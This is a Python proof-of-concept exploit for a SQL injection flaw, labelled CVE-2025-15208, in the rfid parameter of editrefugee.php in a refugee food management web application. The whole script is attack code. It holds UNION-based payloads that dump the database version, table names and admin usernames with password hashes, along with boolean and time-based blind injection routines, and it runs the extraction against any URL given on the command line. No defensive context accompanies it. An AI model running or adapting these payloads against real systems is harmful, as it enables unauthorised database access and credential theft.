import requests
import sys
# CVE-2025-15208 PoC - SQL Injection in Refugee Food Management System 1.0
# Target: /home/editrefugee.php
def exploit_sql_injection(target_url, payload):
"""
Exploit SQL injection vulnerability in rfid parameter
"""
# Target endpoint
endpoint = f"{target_url}/home/editrefugee.php"
# Malicious payload in rfid parameter
params = {
'rfid': payload
}
try:
response = requests.get(endpoint, params=params, timeout=10)
return response.text
except requests.exceptions.RequestException as e:
return f"Error: {e}"
def extract_database_info(target_url):
"""
Extract database information using UNION-based injection
"""
# Payload to extract database version and name
payload = "1' UNION SELECT NULL,version(),database(),user(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -"
result = exploit_sql_injection(target_url, payload)
print("[+] Database Info:")
print(result)
return result
def extract_tables(target_url):
"""
Extract table names from database
"""
# Payload to extract all table names
payload = "1' UNION SELECT NULL,table_name,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -"
result = exploit_sql_injection(target_url, payload)
print("[+] Tables:")
print(result)
return result
def extract_admin_credentials(target_url):
"""
Extract admin credentials (username and password hash)
"""
# Payload to extract admin credentials from users/admin table
payload = "1' UNION SELECT NULL,username,password,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM admin-- -"
result = exploit_sql_injection(target_url, payload)
print("[+] Admin Credentials:")
print(result)
return result
def boolean_blind_injection(target_url):
"""
Boolean-based blind SQL injection for environments where UNION is blocked
"""
print("[*] Starting boolean blind injection...")
# Example: Check if database version starts with '5' or '8'
for char in ['5', '8']:
payload = f"1' AND SUBSTRING(version(),1,1)='{char}'-- -"
result = exploit_sql_injection(target_url, payload)
if 'expected_response_marker' in result:
print(f"[+] Database version starts with: {char}")
break
def time_based_blind_injection(target_url):
"""
Time-based blind SQL injection for environments with no visible output
"""
print("[*] Starting time-based blind injection...")
# Sleep for 5 seconds if database version contains specific string
payload = "1' AND IF(SUBSTRING(version(),1,1)='5',SLEEP(5),0)-- -"
import time
start = time.time()
result = exploit_sql_injection(target_url, payload)
elapsed = time.time() - start
if elapsed >= 5:
print("[+] Database version likely starts with '5'")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: python {sys.argv[0]} <target_url>")
print(f"Example: python {sys.argv[0]} http://localhost/refugee_food_management")
sys.exit(1)
target = sys.argv[1].rstrip('/')
print(f"[*] Target: {target}")
print(f"[*] Exploiting CVE-2025-15208: SQL Injection in /home/editrefugee.php")
print("=" * 60)
# Extract database information
extract_database_info(target)
print("=" * 60)
# Extract table names
extract_tables(target)
print("=" * 60)
# Extract admin credentials
extract_admin_credentials(target)
print("=" * 60)
print("[+] Exploitation completed")